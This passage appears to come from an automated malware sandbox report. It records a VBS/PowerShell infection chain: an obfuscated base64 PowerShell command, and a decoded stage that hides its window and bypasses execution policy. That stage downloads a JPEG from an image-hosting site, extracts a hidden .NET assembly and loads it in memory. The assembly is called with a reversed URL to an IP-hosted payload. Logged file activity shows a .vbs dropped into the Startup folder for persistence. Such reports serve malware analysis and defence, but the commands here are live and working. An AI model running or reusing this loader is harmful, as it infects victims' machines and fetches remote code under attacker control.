42\u21f5n\u2042\u21f5Ds\u2042\u21f5J\u2042\u21f5B3\u2042\u21f5GU\u2042\u21f5YgBD\u2042\u21f5Gw\u2042\u21f5aQBl\u2042\u21f5G4\u2042\u21f5d\u2042\u21f5\u2042\u21f5g\u2042\u21f5D0\u2042\u21f5I\u2042\u21f5BO\u2042\u21f5GU\u2042\u21f5dw\u2042\u21f5t\u2042\u21f5E8\u2042\u21f5YgBq\u2042\u21f5GU\u2042\u21f5YwB0\u2042\u21f5C\u2042\u21f5\u2042\u21f5UwB5\u2042\u21f5HM\u2042\u21f5d\u2042\u21f5Bl\u2042\u21f5G0\u2042\u21f5LgBO\u2042\u21f5GU\u2042\u21f5d\u2042\u21f5\u2042\u21f5u\u2042\u21f5Fc\u2042\u21f5ZQBi\u2042\u21f5EM\u2042\u21f5b\u2042\u21f5Bp\u2042\u21f5GU\u2042\u21f5bgB0\u2042\u21f5Ds\u2042\u21f5J\u2042\u21f5Bp\u2042\u21f5G0\u2042\u21f5YQBn\u2042\u21f5GU\u2042\u21f5QgB5\u2042\u21f5HQ\u2042\u21f5ZQBz\u2042\u21f5C\u2042\u21f5\u2042\u21f5PQ\u2042\u21f5g\u2042\u21f5CQ\u2042\u21f5dwBl\u2042\u21f5GI\u2042\u21f5QwBs\u2042\u21f5Gk\u2042\u21f5ZQBu\u2042\u21f5HQ\u2042\u21f5LgBE\u2042\u21f5G8\u2042\u21f5dwBu\u2042\u21f5Gw\u2042\u21f5bwBh\u2042\u21f5GQ\u2042\u21f5R\u2042\u21f5Bh\u2042\u21f5HQ\u2042\u21f5YQ\u2042\u21f5o\u2042\u21f5CQ\u2042\u21f5aQBt\u2042\u21f5GE\u2042\u21f5ZwBl\u2042\u21f5FU\u2042\u21f5cgBs\u2042\u21f5Ck\u2042\u21f5Ow\u2042\u21f5k\u2042\u21f5Gk\u2042\u21f5bQBh\u2042\u21f5Gc\u2042\u21f5ZQBU\u2042\u21f5GU\u2042\u21f5e\u2042\u21f5B0\u2042\u21f5C\u2042\u21f5\u2042\u21f5PQ\u2042\u21f5g\u2042\u21f5Fs\u2042\u21f5UwB5\u2042\u21f5HM\u2042\u21f5d\u2042\u21f5Bl\u2042\u21f5G0\u2042\u21f5LgBU\u2042\u21f5GU\u2042\u21f5e\u2042\u21f5B0\u2042\u21f5C4\u2042\u21f5RQBu\u2042\u21f5GM\u2042\u21f5bwBk\u2042\u21f5Gk\u2042\u21f5bgBn\u2042\u21f5F0\u2042\u21f5Og\u2042\u21f56\u2042\u21f5FU\u2042\u21f5V\u2042\u21f5BG\u2042\u21f5Dg\u2042\u21f5LgBH\u2042\u21f5GU\u2042\u21f5d\u2042\u21f5BT\u2042\u21f5HQ\u2042\u21f5cgBp\u2042\u21f5G4\u2042\u21f5Zw\u2042\u21f5o\u2042\u21f5CQ\u2042\u21f5aQBt\u2042\u21f5GE\u2042\u21f5ZwBl\u2042\u21f5EI\u2042\u21f5eQB0\u2042\u21f5GU\u2042\u21f5cw\u2042\u21f5p\u2042\u21f5Ds\u2042\u21f5J\u2042\u21f5Bz\u2042\u21f5HQ\u2042\u21f5YQBy\u2042\u21f5HQ\u2042\u21f5RgBs\u2042\u21f5GE\u2042\u21f5Zw\u2042\u21f5g\u2042\u21f5D0\u2042\u21f5I\u2042\u21f5\u2042\u21f5n\u2042\u21f5Dw\u2042\u21f5P\u2042\u21f5BC\u2042\u21f5EE\u2042\u21f5UwBF\u2042\u21f5DY\u2042\u21f5N\u2042\u21f5Bf\u2042\u21f5FM\u2042\u21f5V\u2042\u21f5BB\u2042\u21f5FI\u2042\u21f5V\u2042\u21f5\u2042\u21f5+\u2042\u21f5D4\u2042\u21f5Jw\u2042\u21f57\u2042\u21f5CQ\u2042\u21f5ZQBu\u2042\u21f5GQ\u2042\u21f5RgBs\u2042\u21f5GE\u2042\u21f5Zw\u2042\u21f5g\u2042\u21f5D0\u2042\u21f5I\u2042\u21f5\u2042\u21f5n\u2042\u21f5Dw\u2042\u21f5P\u2042\u21f5BC\u2042\u21f5EE\u2042\u21f5UwBF\u2042\u21f5DY\u2042\u21f5N\u2042\u21f5Bf\u2042\u21f5EU\u2042\u21f5TgBE\u2042\u21f5D4\u2042\u21f5Pg\u2042\u21f5n\u2042\u21f5Ds\u2042\u21f5J\u2042\u21f5Bz\u2042\u21f5HQ\u2042\u21f5YQBy\u2042\u21f5HQ\u2042\u21f5SQBu\u2042\u21f5GQ\u2042\u21f5ZQB4\u2042\u21f5C\u2042\u21f5\u2042\u21f5PQ\u2042\u21f5g\u2042\u21f5CQ\u2042\u21f5aQBt\u2042\u21f5GE\u2042\u21f5ZwBl\u2042\u21f5FQ\u2042\u21f5ZQB4\u2042\u21f5HQ\u2042\u21f5LgBJ\u2042\u21f5G4\u2042\u21f5Z\u2042\u21f5Bl\u2042\u21f5Hg\u2042\u21f5TwBm\u2042\u21f5Cg\u2042\u21f5J\u2042\u21f5Bz\u2042\u21f5HQ\u2042\u21f5YQBy\u2042\u21f5HQ\u2042\u21f5RgBs\u2042\u21f5GE\u2042\u21f5Zw\u2042\u21f5p\u2042\u21f5Ds\u2042\u21f5J\u2042\u21f5Bl\u2042\u21f5G4\u2042\u21f5Z\u2042\u21f5BJ\u2042\u21f5G4\u2042\u21f5Z\u2042\u21f5Bl\u2042\u21f5Hg\u2042\u21f5I\u2042\u21f5\u2042\u21f59\u2042\u21f5C\u2042\u21f5\u2042\u21f5J\u2042\u21f5Bp\u2042\u21f5G0\u2042\u21f5YQBn\u2042\u21f5GU\u2042\u21f5V\u2042\u21f5Bl\u2042\u21f5Hg\u2042\u21f5d\u2042\u21f5\u2042\u21f5u\u2042\u21f5Ek\u2042\u21f5bgBk\u2042\u21f5GU\u2042\u21f5e\u2042\u21f5BP\u2042\u21f5GY\u2042\u21f5K\u2042\u21f5\u2042\u21f5k\u2042\u21f5GU\u2042\u21f5bgBk\u2042\u21f5EY\u2042\u21f5b\u2042\u21f5Bh\u2042\u21f5Gc\u2042\u21f5KQ\u2042\u21f57\u2042\u21f5CQ\u2042\u21f5cwB0\u2042\u21f5GE\u2042\u21f5cgB0\u2042\u21f5Ek\u2042\u21f5bgBk\u2042\u21f5GU\u2042\u21f5e\u2042\u21f5\u2042\u21f5g\u2042\u21f5C0\u2042\u21f5ZwBl\u2042\u21f5C\u2042\u21f5\u2042\u21f5M\u2042\u21f5\u2042\u21f5g\u2042\u21f5C0\u2042\u21f5YQBu\u2042\u21f5GQ\u2042\u21f5I\u2042\u21f5\u2042\u21f5k\u2042\u21f5GU\u2042\u21f5bgBk\u2042\u21f5Ek\u2042\u21f5bgBk\u2042\u21f5GU\u2042\u21f5e\u2042\u21f5\u2042\u21f5g\u2042\u21f5C0\u2042\u21f5ZwB0\u2042\u21f5C\u2042\u21f5\u2042\u21f5J\u2042\u21f5Bz\u2042\u21f5HQ\u2042\u21f5YQBy\u2042\u21f5HQ\u2042\u21f5SQBu\u2042\u21f5GQ\u2042\u21f5ZQB4\u2042\u21f5Ds\u2042\u21f5J\u2042\u21f5Bz\u2042\u21f5HQ\u2042\u21f5YQBy\u2042\u21f5HQ\u2042\u21f5SQBu\u2042\u21f5GQ\u2042\u21f5ZQB4\u2042\u21f5C\u2042\u21f5\u2042\u21f5Kw\u2042\u21f59\u2042\u21f5C\u2042\u21f5\u2042\u21f5J\u2042\u21f5Bz\u2042\u21f5HQ\u2042\u21f5YQBy\u2042\u21f5HQ\u2042\u21f5RgBs\u2042\u21f5GE\u2042\u21f5Zw\u2042\u21f5u\u2042\u21f5Ew\u2042\u21f5ZQBu\u2042\u21f5Gc\u2042\u21f5d\u2042\u21f5Bo\u2042\u21f5Ds\u2042\u21f5J\u2042\u21f5Bi\u2042\u21f5GE\u2042\u21f5cwBl\u2042\u21f5DY\u2042\u21f5N\u2042\u21f5BM\u2042\u21f5GU\u2042\u21f5bgBn\u2042\u21f5HQ\u2042\u21f5a\u2042\u21f5\u2042\u21f5g\u2042\u21f5D0\u2042\u21f5I\u2042\u21f5\u2042\u21f5k\u2042\u21f5GU\u2042\u21f5bgBk\u2042\u21f5Ek\u2042\u21f5bgBk\u2042\u21f5GU\u2042\u21f5e\u2042\u21f5\u2042\u21f5g\u2042\u21f5C0\u2042\u21f5I\u2042\u21f5\u2042\u21f5k\u2042\u21f5HM\u2042\u21f5d\u2042\u21f5Bh\u2042\u21f5HI\u2042\u21f5d\u2042\u21f5BJ\u2042\u21f5G4\u2042\u21f5Z\u2042\u21f5Bl\u2042\u21f5Hg\u2042\u21f5Ow\u2042\u21f5k\u2042\u21f5GI\u2042\u21f5YQBz\u2042\u21f5GU\u2042\u21f5Ng\u2042\u21f50\u2042\u21f5EM\u2042\u21f5bwBt\u2042\u21f5G0\u2042\u21f5YQBu\u2042\u21f5GQ\u2042\u21f5I\u2042\u21f5\u2042\u21f59\u2042\u21f5C\u2042\u21f5\u2042\u21f5J\u2042\u21f5Bp\u2042\u21f5G0\u2042\u21f5YQBn\u2042\u21f5GU\u2042\u21f5V\u2042\u21f5Bl\u2042\u21f5Hg\u2042\u21f5d\u2042\u21f5\u2042\u21f5u\u2042\u21f5FM\u2042\u21f5dQBi\u2042\u21f5HM\u2042\u21f5d\u2042\u21f5By\u2042\u21f5Gk\u2042\u21f5bgBn\u2042\u21f5Cg\u2042\u21f5J\u2042\u21f5Bz\u2042\u21f5HQ\u2042\u21f5YQBy\u2042\u21f5HQ\u2042\u21f5SQBu\u2042\u21f5GQ\u2042\u21f5ZQB4\u2042\u21f5Cw\u2042\u21f5I\u2042\u21f5\u2042\u21f5k\u2042\u21f5GI\u2042\u21f5YQBz\u2042\u21f5GU\u2042\u21f5Ng\u2042\u21f50\u2042\u21f5Ew\u2042\u21f5ZQBu\u2042\u21f5Gc\u2042\u21f5d\u2042\u21f5Bo\u2042\u21f5Ck\u2042\u21f5Ow\u2042\u21f5k\u2042\u21f5GM\u2042\u21f5bwBt\u2042\u21f5G0\u2042\u21f5YQBu\u2042\u21f5GQ\u2042\u21f5QgB5\u2042\u21f5HQ\u2042\u21f5ZQBz\u2042\u21f5C\u2042\u21f5\u2042\u21f5PQ\u2042\u21f5g\u2042\u21f5Fs\u2042\u21f5UwB5\u2042\u21f5HM\u2042\u21f5d\u2042\u21f5Bl\u2042\u21f5G0\u2042\u21f5LgBD\u2042\u21f5G8\u2042\u21f5bgB2\u2042\u21f5GU\u2042\u21f5cgB0\u2042\u21f5F0\u2042\u21f5Og\u2042\u21f56\u2042\u21f5EY\u2042\u21f5cgBv\u2042\u21f5G0\u2042\u21f5QgBh\u2042\u21f5HM\u2042\u21f5ZQ\u2042\u21f52\u2042\u21f5DQ\u2042\u21f5UwB0\u2042\u21f5HI\u2042\u21f5aQBu\u2042\u21f5Gc\u2042\u21f5K\u2042\u21f5\u2042\u21f5k\u2042\u21f5GI\u2042\u21f5YQBz\u2042\u21f5GU\u2042\u21f5Ng\u2042\u21f50\u2042\u21f5EM\u2042\u21f5bwBt\u2042\u21f5G0\u2042\u21f5YQBu\u2042\u21f5GQ\u2042\u21f5KQ\u2042\u21f57\u2042\u21f5CQ\u2042\u21f5b\u2042\u21f5Bv\u2042\u21f5GE\u2042\u21f5Z\u2042\u21f5Bl\u2042\u21f5GQ\u2042\u21f5QQBz\u2042\u21f5HM\u2042\u21f5ZQBt\u2042\u21f5GI\u2042\u21f5b\u2042\u21f5B5\u2042\u21f5C\u2042\u21f5\u2042\u21f5PQ\u2042\u21f5g\u2042\u21f5Fs\u2042\u21f5UwB5\u2042\u21f5HM\u2042\u21f5d\u2042\u21f5Bl\u2042\u21f5G0\u2042\u21f5LgBS\u2042\u21f5GU\u2042\u21f5ZgBs\u2042\u21f5GU\u2042\u21f5YwB0\u2042\u21f5Gk\u2042\u21f5bwBu\u2042\u21f5C4\u2042\u21f5QQBz\u2042\u21f5HM\u2042\u21f5ZQBt\u2042\u21f5GI\u2042\u21f5b\u2042\u21f5B5\u2042\u21f5F0\u2042\u21f5Og\u2042\u21f56\u2042\u21f5Ew\u2042\u21f5bwBh\u2042\u21f5GQ\u2042\u21f5K\u2042\u21f5\u2042\u21f5k\u2042\u21f5GM\u2042\u21f5bwBt\u2042\u21f5G0\u2042\u21f5YQBu\u2042\u21f5GQ\u2042\u21f5QgB5\u2042\u21f5HQ\u2042\u21f5ZQBz\u2042\u21f5Ck\u2042\u21f5Ow\u2042\u21f5k\u2042\u21f5HQ\u2042\u21f5eQBw\u2042\u21f5GU\u2042\u21f5I\u2042\u21f5\u2042\u21f59\u2042\u21f5C\u2042\u21f5\u2042\u21f5J\u2042\u21f5Bs\u2042\u21f5G8\u2042\u21f5YQBk\u2042\u21f5GU\u2042\u21f5Z\u2042\u21f5BB\u2042\u21f5HM\u2042\u21f5cwBl\u2042\u21f5G0\u2042\u21f5YgBs\u2042\u21f5Hk\u2042\u21f5LgBH\u2042\u21f5GU\u2042\u21f5d\u2042\u21f5BU\u2042\u21f5Hk\u2042\u21f5c\u2042\u21f5Bl\u2042\u21f5Cg\u2042\u21f5JwBG\u2042\u21f5Gk\u2042\u21f5YgBl\u2042\u21f5HI\u2042\u21f5LgBI\u2042\u21f5G8\u2042\u21f5bQBl\u2042\u21f5Cc\u2042\u21f5KQ\u2042\u21f57\u2042\u21f5CQ\u2042\u21f5bQBl\u2042\u21f5HQ\u2042\u21f5a\u2042\u21f5Bv\u2042\u21f5GQ\u2042\u21f5I\u2042\u21f5\u2042\u21f59\u2042\u21f5C\u2042\u21f5\u2042\u21f5J\u2042\u21f5B0\u2042\u21f5Hk\u2042\u21f5c\u2042\u21f5Bl\u2042\u21f5C4\u2042\u21f5RwBl\u2042\u21f5HQ\u2042\u21f5TQBl\u2042\u21f5HQ\u2042\u21f5a\u2042\u21f5Bv\u2042\u21f5GQ\u2042\u21f5K\u2042\u21f5\u2042\u21f5n\u2042\u21f5FY\u2042\u21f5QQBJ\u2042\u21f5Cc\u2042\u21f5KQ\u2042\u21f57\u2042\u21f5CQ\u2042\u21f5YQBy\u2042\u21f5Gc\u2042\u21f5dQBt\u2042\u21f5GU\u2042\u21f5bgB0\u2042\u21f5HM\u2042\u21f5I\u2042\u21f5\u2042\u21f59\u2042\u21f5C\u2042\u21f5\u2042\u21f5L\u2042\u21f5\u2042\u21f5o\u2042\u21f5Cc\u2042\u21f5d\u2042\u21f5B4\u2042\u21f5HQ\u2042\u21f5Lg\u2042\u21f5y\u2042\u21f5DM\u2042\u21f5N\u2042\u21f5Bk\u2042\u21f5GU\u2042\u21f5LwBs\u2042\u21f5HQ\u2042\u21f5Lw\u2042\u21f53\u2042\u21f5DY\u2042\u21f5MQ\u2042\u21f5u\u2042\u21f5DE\u2042\u21f5Ng\u2042\u21f5x\u2042\u21f5C4\u2042\u21f5Ng\u2042\u21f51\u2042\u21f5DE\u2042\u21f5Lg\u2042\u21f50\u2042\u21f5Dk\u2042\u21f5Lw\u2042\u21f5v\u2042\u21f5Do\u2042\u21f5c\u2042\u21f5B0\u2042\u21f5HQ\u2042\u21f5a\u2042\u21f5\u2042\u21f5n\u2042\u21f5Ck\u2042\u21f5Ow\u2042\u21f5k\u2042\u21f5G0\u2042\u21f5ZQB0\u2042\u21f5Gg\u2042\u21f5bwBk\u2042\u21f5C4\u2042\u21f5SQBu\u2042\u21f5HY\u2042\u21f5bwBr\u2042\u21f5GU\u2042\u21f5K\u2042\u21f5\u2042\u21f5k\u2042\u21f5G4\u2042\u21f5dQBs\u2042\u21f5Gw\u2042\u21f5L\u2042\u21f5\u2042\u21f5g\u2042\u21f5CQ\u2042\u21f5YQBy\u2042\u21f5Gc\u2042\u21f5dQBt\u2042\u21f5GU\u2042\u21f5bgB0\u2042\u21f5HM\u2042\u21f5KQ\u2042\u21f5=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('\u2042\u21f5','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD" (UID: 00000000-00001544) Process "powershell.exe" with commandline "-windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<>';$endFlag = '<>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ('txt.234de/lt/761.161.651.49//:ptth');$method.Invoke($null, $arguments)"" (UID: 00000000-00002724, Additional Context: "%WINDIR%\System32\WindowsPowerShell\v1.\powershell.exe" windowstyle hidden executionpolicy bypss NoProfile command "$imageUrl 'https://uploaddeimagens.com.br/images/4/563/621/original/universo_vbs.jpeg?169931855'[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>)[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) + <>.Length4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311[System.Reflection.Assembly]::Load(4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, ,('txt.234de/lt/761.161.651.49//:ptth')); K+-zd��'r�b��+k�x"��+^�+��M�mw(v)�Q1|�R��)��r��9�@HN�I0M,��{D��xL_z��)��f�x�z�'u�N|�44��M�mw(v)�Q1|�R��)��r��9�@HN�I0")38:T67b,"WScript.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "WScript.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\clr.dll" "powershell.exe" touched file "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JD1ZC8KSEZRSQU1RDFT7.temp" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF103707.TMP" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ WLDY.vbs" "powershell.exe" touched file "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ WLDY.vbs" "powershell.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "powershell.exe" touched file "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations"39:T405,Process "powershell.exe" with commandline "-windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<>';$endFlag = '<>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ('txt.234de/lt/761.161.651.49//:ptth');$method.Invoke($null, $arguments)"" (UID: 00000000-00002724)3a:T2c2d,"-command $Codigo = 'J\u2042\u21f5Bp\u2042\u21f5G0\u2042\u21f5YQBn\u2042\u21f5GU\u2042\u21f5VQBy\u2042\u21f5Gw\u2042\u21f5I\u2042\u21f5\u2042\u21f59\u2042\u21f5C\u2042\u21f5\u2042\u21f5JwBo\u2042\u21f5HQ\u2042\u21f5d\u2042\u21f5Bw\u2042\u21f5HM\u2042\u21f5Og\u2042\u21f5v\u2042\u21f5C8\u2042\u21f5dQBw\u2042\u21f5Gw\u2042\u21f5bwBh\u2042\u21f5GQ\u2042\u21f5Z\u2042\u21f5Bl\u2042\u21f5Gk\u2042\u21f5bQBh\u2042\u21f5Gc\u2042\u21f5ZQBu\u2042\u21f5HM\u2042\u21f5LgBj\u2042\u21f5G8\u2042\u21f5bQ\u2042\u21f5u\u2042\u21f5GI\u2042\u21f5cg\u2042\u21f5v\u2042\u21f5Gk\u2042\u21f5bQBh\u2042\u21f5Gc\u2042\u21f5ZQBz\u2042\u21f5C8\u2042\u21f5M\u2042\u21f5\u2042\u21f5w\u2042\u21f5DQ\u2042\u21f5Lw\u2042\u21f51\u2042\u21f5DY\u2042\u21f5Mw\u2042\u21f5v\u2042\u21f5DY\u2042\u21f5Mg\u2042\u21f5x\u2042\u21f5C8\u2042\u21f5bwBy\u2042\u21f5Gk\u2042\u21f5ZwBp\u2042\u21f5G4\u2042\u21f5YQBs\u2042\u21f5C8\u2042\u21f5dQBu\u2042\u21f5Gk\u2042\u21f5dgBl\u2042\u21f5HI\u2042\u21f5cwBv\u2042\u21f5F8\u2042\u21f5dgBi\u2042\u21f5HM\u2042\u21f5LgBq\u2042\u21f5H\u2042\u21f5\u2042\u21f5ZQBn\u2042\u21f5D8\u2042\u21f5MQ\u2042\u21f52\u2042\u21f5Dk\u2042\u21f5M\u2042\u21f5\u2042\u21f55\u2042\u21f5DM\u2042\u21f5MQ\u2042\u21f54\u2042\u21f5DU\u2042\u21f5NQ\u2042\u21f5n\u2042\u21f5Ds\u2042\u21f5J\u2042\u21f5B3\u2042\u21f5GU\u2042\u21f5YgBD\u2042\u21f5Gw\u2042\u21f5aQBl\u2042\u21f5G4\u2042\u21f5d\u2042\u21f5\u2042\u21f5g\u2042\u21f5D0\u2042\u21f5I\u2042\u21f5BO\u2042\u21f5GU\u2042\u21f5dw\u2042\u21f5t\u2042\u21f5E8\u2042\u21f5YgBq\u2042\u21f5GU\u2042\u21f5YwB0\u2042\u21f5C\u2042\u21f5\u2042\u21f5UwB5\u2042\u21f5HM\u2042\u21f5d\u2042\u21f5Bl\u2042\u21f5G0\u2042\u21f5LgBO\u2042\u21f5GU\u2042\u21f5d\u2042\u21f5\u2042\u21f5u\u2042\u21f5Fc\u2042\u21f5ZQBi\u2042\u21f5EM\u2042\u21f5b\u2042\u21f5Bp\u2042\u21f5GU\u2042\u21f5bgB0\u2042\u21f5Ds\u2042\u21f5J\u2042\u21f5Bp\u2042\u21f5G0\u2042\u21f5YQBn\u2042\u21f5GU\u2042\u21f5QgB5\u2042\u21f5HQ\u2042\u21f5ZQBz\u2042\u21f5C\u2042\u21f5\u2042\u21f5PQ\u2042\u21f5g\u2042\u21f5CQ\u2042\u21f5dwBl\u2042\u21f5GI\u2042\u21f5QwBs\u2042\u21f5Gk\u2042\u21f5ZQBu\u2042\u21f5HQ\u2042\u21f5LgBE\u2042\u21f5G8\u2042\u21f5dwBu\u2042\u21f5Gw\u2042\u21f5bwBh\u2042\u21f5GQ\u2042\u21f5R\u2042\u21f5Bh\u2042\u21f5HQ\u2042\u21f5YQ\u2042\u21f5o\u2042\u21f5CQ\u2042\u21f5aQBt\u2042\u21f5GE\u2042\u21f5ZwBl\u2042\u21f5FU\u2042\u21f5cgBs\u2042\u21f5Ck\u2042\u21f5Ow\u2042\u21f5k\u2042\u21f5Gk\u2042\u21f5bQBh\u2042\u21f5Gc\u2042\u21f5ZQBU\u2042\u21f5GU\u2042\u21f5e\u2042\u21f5B0\u2042\u21f5C\u2042\u21f5\u2042\u21f5PQ\u2042\u21f5g\u2042\u21f5Fs\u2042\u21f5UwB5\u2042\u21f5HM\u2042\u21f5d\u2042\u21f5Bl\u2042\u21f5G0\u2042\u21f5LgBU\u2042\u21f5GU\u2042\u21f5e\u2042\u21f5B0\u2042\u21f5C4\u2042\u21f5RQBu\u2042\u21f5GM\u2042\u21f5bwBk\u2042\u21f5Gk\u2042\u21f5bgBn\u2042\u21f5F0\u2042\u21f5Og\u2042\u21f56\u2042\u21f5FU\u2042\u21f5V\u2042\u21f5BG\u2042\u21f5Dg\u2042\u21f5LgBH\u2042\u21f5GU\u2042\u21f5d\u2042\u21f5BT\u2042\u21f5HQ\u2042\u21f5cgBp\u2042\u21f5G4\u2042\u21f5Zw\u2042\u21f5o\u2042\u21f5CQ\u2042\u21f5aQBt\u2042\u21f5GE\u2042\u21f5ZwBl\u2042\u21f5EI\u2042\u21f5eQB0\u2042\u21f5GU\u2042\u21f5cw\u2042\u21f5p\u2042\u21f5Ds\u2042\u21f5J\u2042\u21f5Bz\u2042\u21f5HQ\u2042\u21f5YQBy\u2042\u21f5HQ\u2042\u21f5RgBs\u2042\u21f5GE\u2042\u21f5Zw\u2042\u21f5g\u2042\u21f5D0\u2042\u21f5I\u2042\u21f5\u2042\u21f5n\u2042\u21f5Dw\u2042\u21f5P\u2042\u21f5BC\u2042\u21f5EE\u2042\u21f5UwBF\u2042\u21f5DY\u2042\u21f5N\u2042\u21f5Bf\u2042\u21f5FM\u2042\u21f5V\u2042\u21f5BB\u2042\u21f5FI\u2042\u21f5V\u2042\u21f5\u2042\u21f5+\u2042\u21f5D4\u2042\u21f5Jw\u2042\u21f57\u2042\u21f5CQ\u2042\u21f5ZQBu\u2042\u21f5GQ\u2042\u21f5RgBs\u2042\u21f5GE\u2042\u21f5Zw\u2042\u21f5g\u2042\u21f5D0\u2042\u21f5I\u2042\u21f5\u2042\u21f5n\u2042\u21f5Dw\u2042\u21f5P\u2042\u21f5BC\u2042\u21f5EE\u2042\u21f5UwBF\u2042\u21f5DY\u2042\u21f5N\u2042\u21f5Bf\u2042\u21f5EU\u2042\u21f5TgBE\u2042\u21f5D4\u2042\u21f5Pg\u2042\u21f5n\u2042\u21f5Ds\u2042\u21f5J\u2042\u21f5Bz\u2042\u21f5HQ\u2042\u21f5YQBy\u2042\u21f5HQ\u2042\u21f5SQBu\u2042\u21f5GQ\u2042\u21f5ZQB4\u2042\u21f5C\u2042\u21f5\u2042\u21f5PQ\u2042\u21f5g\u2042\u21f5CQ\u2042\u21f5aQBt\u2042\u21f5GE\u2042\u21f5ZwBl\u2042\u21f5FQ\u2042\u21f5ZQB4\u2042\u21f5HQ\u2042\u21f5LgBJ\u2042\u21f5G4\u2042\u21f5Z\u2042\u21f5Bl\u2042\u21f5Hg\u2042\u21f5TwBm\u2042\u21f5Cg\u2042\u21f5J\u2042\u21f5Bz\u2042\u21f5HQ\u2042\u21f5YQBy\u2042\u21f5HQ\u2042\u21f5RgBs\u2042\u21f5GE\u2042\u21f5Zw\u2042\u21f5p\u2042\u21f5Ds\u2042\u21f5J\u2042\u21f5Bl\u2042\u21f5G4\u2042\u21f5Z\u2042\u21f5BJ\u2042\u21f5G4\u2042\u21f5Z\u2042\u21f5Bl\u2042\u21f5Hg\u2042\u21f5I\u2042\u21f5\u2042\u21f59\u2042\u21f5C\u2042\u21f5\u2042\u21f5J\u2042\u21f5Bp\u2042\u21f5G0\u2042\u21f5YQBn\u2042\u21f5GU\u2042\u21f5V\u2042\u21f5Bl\u2042\u21f5Hg\u2042\u21f5d\u2042\u21f5\u2042\u21f5u\u2042\u21f5Ek\u2042\u21f5bgBk\u2042\u21f5GU\u2042\u21f5e\u2042\u21f5BP\u2042\u21f5GY\u2042\u21f5K\u2042\u21f5\u2042\u21f5k\u2042\u21f5GU\u2042\u21f5bgBk\u2042\u21f5EY\u2042\u21f5b\u2042\u21f5Bh\u2042\u21f5Gc\u2042\u21f5KQ\u2042\u21f57\u2042\u21f5CQ\u2042\u21f5cwB0\u2042\u21f5GE\u2042\u21f5cgB0\u2042\u21f5Ek\u2042\u21f5bgBk\u2042\u21f5GU\u2042\u21f5e\u2042\u21f5\u2042\u21f5g\u2042\u21f5C0\u2042\u21f5ZwBl\u2042\u21f5C\u2042\u21f5\u2042\u21f5M\u2042\u21f5\u2042\u21f5g\u2042\u21f5C0\u2042\u21f5YQ